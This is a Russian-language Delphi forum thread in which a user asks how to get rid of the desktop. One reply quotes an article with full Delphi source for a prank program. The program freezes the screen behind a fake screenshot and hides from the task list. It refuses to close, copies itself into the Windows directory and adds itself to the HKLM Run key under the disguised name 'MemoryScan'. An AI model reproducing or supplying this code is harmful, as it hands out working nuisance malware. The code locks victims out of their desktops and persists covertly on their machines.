![]() |
|
Модераторы: Snowy, bartram, MetalFan, bems, Poseidon, Riply |
![]()
|
|
| Programer_Diman |
|
|||
|
Новичок Профиль Группа: Участник Сообщений: 2 Регистрация: 14.10.2004 Репутация: нет Всего: нет |
как убрать рабочич стол. Мешает.
|
|||
|
||||
| VIY |
|
|||
|
Новичок Профиль Группа: Участник Сообщений: 19 Регистрация: 13.10.2004 Репутация: нет Всего: нет |
Тоесть?(Поподробнее, а то вариантов интерпритации этой фразы можно подобрать N-дцать)
|
|||
|
||||
| ~FoX~ |
|
|||
![]() НЕ рыжий!!! ![]() ![]() ![]() ![]() Профиль Группа: Участник Клуба Сообщений: 2819 Регистрация: 8.10.2003 Где: Зеленоград Репутация: 0 Всего: 68 |
Programer_Diman
Если ты его хочешь спрятать за свое приложение, то делай размер формы в размер экрана и отключи сазибл |
|||
|
||||
| VIY |
|
|||
|
Новичок Профиль Группа: Участник Сообщений: 19 Регистрация: 13.10.2004 Репутация: нет Всего: нет |
Статья с сайта delphiworld.narod.ru
Безжизненный рабочий стол Алгоритм следующий: нужно на форму вынести компонент класса TImage скопировать в него рабочий стол и растянуть во весь экран. Делаем это по созданию окна [событие OnCreate()]: procedure TForm1.FormCreate(Sender: TObject); var ScreenDC: HDC; canvas:Tcanvas; begin ScreenDC:=GetDC(0); Canvas:=TCanvas.Create(); canvas.Handle:=ScreenDC; Width:=Screen.Width; Height:=Screen.Height; Image1.Canvas.CopyRect(Rect(0,0,Image1.Width,Image1.Height), canvas,Rect(0,0,Screen.Width,Screen.Height)); Releasedc(0,ScreenDC); Canvas.Free; end; Затем нужно свойство формы BorderStyle установить в значение bsNone, чтобы не было видно боковины окна, а свойство FormStyle - в fsStayOnTop, дабы наше окно всегда было всех других окон!!! Свойство Align компонента Image1- в значение alClient, чтобы картинка занимала всё свободное. место Далее позаботимся о том, чтобы наше приложение не было видно и чтобы пользователь не мог завершить его :-)) Событие по созданию окна в конечном итоге должно выглядеть так: procedure TForm1.FormCreate(Sender: TObject); var ScreenDC: HDC; canvas: Tcanvas; h: TRegistry; begin ScreenDC:=GetDC(0); Canvas:=TCanvas.Create(); canvas.Handle:=ScreenDC; Width:=Screen.Width; Height:=Screen.Height; Image1.Canvas.CopyRect(Rect(0,0,Image1.Width,Image1.Height), canvas,Rect(0,0,Screen.Width,Screen.Height)); Releasedc(0,ScreenDC); Canvas.Free; if not(csDesigning in ComponentState) then RegisterServiceProcess(GetCurrentProcessID,1); WinDirP := StrAlloc(MAX_PATH); Res := GetWindowsDirectory(WinDirP, MAX_PATH); if Res > 0 then WinDir := StrPas(WinDirP); if FileExists(WinDir+'\OurProgram.com')=false then CopyFile(PChar(Application.ExeName),PChar(WinDir+'\OurProgram.com'),false); h:=TRegistry.Create; h.RootKey:=HKEY_LOCAL_MACHINE; h.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true); h.WriteString('MemoryScan',WinDir+'\OurProgram.com'); h.CloseKey; h.Free; end; На событие OnCloseQuery() формы напишем: CanClose:=false; На событие OnActivate(): ShowWindow(Application.Handle,sw_Hide); В области public объявим несколько переменных: public { Public declarations } Windir: string; WindirP: PChar; Res: Cardinal; А в uses подключим модуль Registry: uses Registry; |
|||
|
||||
| Alex |
|
|||
![]() Эксперт ![]() ![]() ![]() ![]() Профиль Группа: Экс. модератор Сообщений: 4147 Регистрация: 25.3.2002 Где: Москва Репутация: 6 Всего: 162 |
VIY Пользуйся тегом Code
-------------------- Написать можно все - главное четко представлять, что ты хочешь получить в конце. |
|||
|
||||
![]()
|
| Правила форума "Delphi: WinAPI и системное программирование" | |
|
|
Запрещено: 1. Публиковать ссылки на вскрытые компоненты 2. Обсуждать взлом компонентов и делиться вскрытыми компонентами
Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, bartram, MetalFan, bems, Poseidon, Rrader, Riply. |
| 0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей) | |
| 0 Пользователей: | |
| « Предыдущая тема | Delphi: WinAPI и системное программирование | Следующая тема » |
|
|
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности Powered by Invision Power Board(R) 1.3 © 2003 IPS, Inc. |